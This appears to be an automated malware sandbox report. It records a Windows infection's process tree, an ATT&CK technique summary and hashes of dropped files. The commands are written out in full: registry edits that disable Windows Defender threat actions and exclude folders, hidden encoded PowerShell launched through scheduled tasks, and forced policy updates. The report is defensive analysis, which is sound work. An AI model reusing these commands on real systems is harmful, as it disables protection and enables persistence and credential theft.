\"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ecOJmsgAHWlsC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ecOJmsgAHWlsC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epoBtGYzqLvU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epoBtGYzqLvU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qIYKRzUEasUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qIYKRzUEasUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zgoZGMcaU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zgoZGMcaU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\pICeQFkDCDDquYVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\pICeQFkDCDDquYVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nlcUipsDcFbdntMB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nlcUipsDcFbdntMB\" /t REG_DWORD /d 0 /reg:64;"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ecOJmsgAHWlsC" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ecOJmsgAHWlsC" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epoBtGYzqLvU2" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epoBtGYzqLvU2" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qIYKRzUEasUn" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qIYKRzUEasUn" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zgoZGMcaU" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zgoZGMcaU" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\pICeQFkDCDDquYVB /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\pICeQFkDCDDquYVB /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nlcUipsDcFbdntMB /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nlcUipsDcFbdntMB /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gEEBMxRyf" /SC once /ST 00:36:52 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gEEBMxRyf"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gEEBMxRyf"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "yfARWRprRqUFWeTGf" /SC once /ST 03:54:51 /RU "SYSTEM" /TR "\"C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\zYimwye.exe\" aV /zMxcdidgb 385118 /S" /V1 /F2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "yfARWRprRqUFWeTGf"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 4396 -ip 43961⤵
-
C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exeC:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k smphost1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 2216 -ip 22161⤵
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
-
C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\zYimwye.exeC:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\zYimwye.exe aV /zMxcdidgb 385118 /S1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"2⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 64⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 65⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 64⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 65⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 64⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 65⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 64⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 65⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell start-process -WindowStyle Hidden gpupdate.exe /force4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell start-process -WindowStyle Hidden gpupdate.exe /force5⤵
-
C:\Windows\SysWOW64\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force6⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Persistence
Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Privilege Escalation
Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Defense Evasion
Modify Registry
2Virtualization/Sandbox Evasion
2Impair Defenses
1Disable or Modify System Firewall
1Subvert Trust Controls
1Install Root Certificate
1Credential Access
Unsecured Credentials
5Credentials In Files
4Credentials in Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\AFCBFIJEFilesize
100KB
MD5d4993802b9cf3203200f899233c3e2fc
SHA1a632e8d796c8a0d1cf8cda55aa882b1a82b7318f
SHA256cff606c51ac13f4352de08f7838939c1e261bdc232a10bb94f6924d00cbd0dd6
SHA5121910cf846fe61ef744dc6bcf9062caaf6ab1856a64bd8aa6849cbddcdc8fa921f0cef16d0d9cc38842345f5873724b27764307076bd50bd46bb74f643cde03bd
-
C:\ProgramData\Are.docxFilesize
11KB
MD5a33e5b189842c5867f46566bdbf7a095
SHA1e1c06359f6a76da90d19e8fd95e79c832edb3196
SHA2565abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
SHA512f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b
-
C:\ProgramData\KJJJDHDGFilesize
116KB
MD5f70aa3fa04f0536280f872ad17973c3d
SHA150a7b889329a92de1b272d0ecf5fce87395d3123
SHA2568d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8
SHA51230675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84
-
C:\ProgramData\MeasureComplete.xlsxFilesize
432KB
MD5eec098f1a5f557e5474d16362b85bf0e
SHA1f091702483916bcda36066de79b61ccc02cca903
SHA256c777b43f5423a5b4e1a94a0cdb72695e187f88e27e68c54dd348f4130d93a02a
SHA512c22022deb03f36bf9727f68584d618f15bdaa622c4970cb6cc1ffb033680b857ddf598a0db76315ae571e4a48039480703c268e11c208a37aad3939abea058c6
-
C:\ProgramData\UndoSync.txtFilesize
213KB
MD5d0583ace01be05a52dd3e6dedcd10dc4
SHA1b7ce49b06ed10720f11e1b702e8ef6b1380de9ab
SHA25609a3e01d235216864e40267fc9714696e7376d61cfd10ecf318c883e13089eec
SHA51281ac15eb60dbb7d2e12888b781d39487c4891a03aa7d257ea2c430ec25d20a1512af4d1b400b8b5ea52224a655a145eaf32a5bd3fd3e9a0009dd24715fa6bd58
-
C:\ProgramData\freebl3.dllFilesize
669KB
MD5550686c0ee48c386dfcb40199bd076ac
SHA1ee5134da4d3efcb466081fb6197be5e12a5b22ab
SHA256edd043f2005dbd5902fc421eabb9472a7266950c5cbaca34e2d590b17d12f5fa
SHA5120b7f47af883b99f9fbdc08020446b58f2f3fa55292fd9bc78fc967dd35bdd8bd549802722de37668cc89ede61b20359190efbfdf026ae2bdc854f4740a54649e
-
C:\ProgramData\mozglue.dllFilesize
593KB
MD5c8fd9be83bc728cc04beffafc2907fe9
SHA195ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
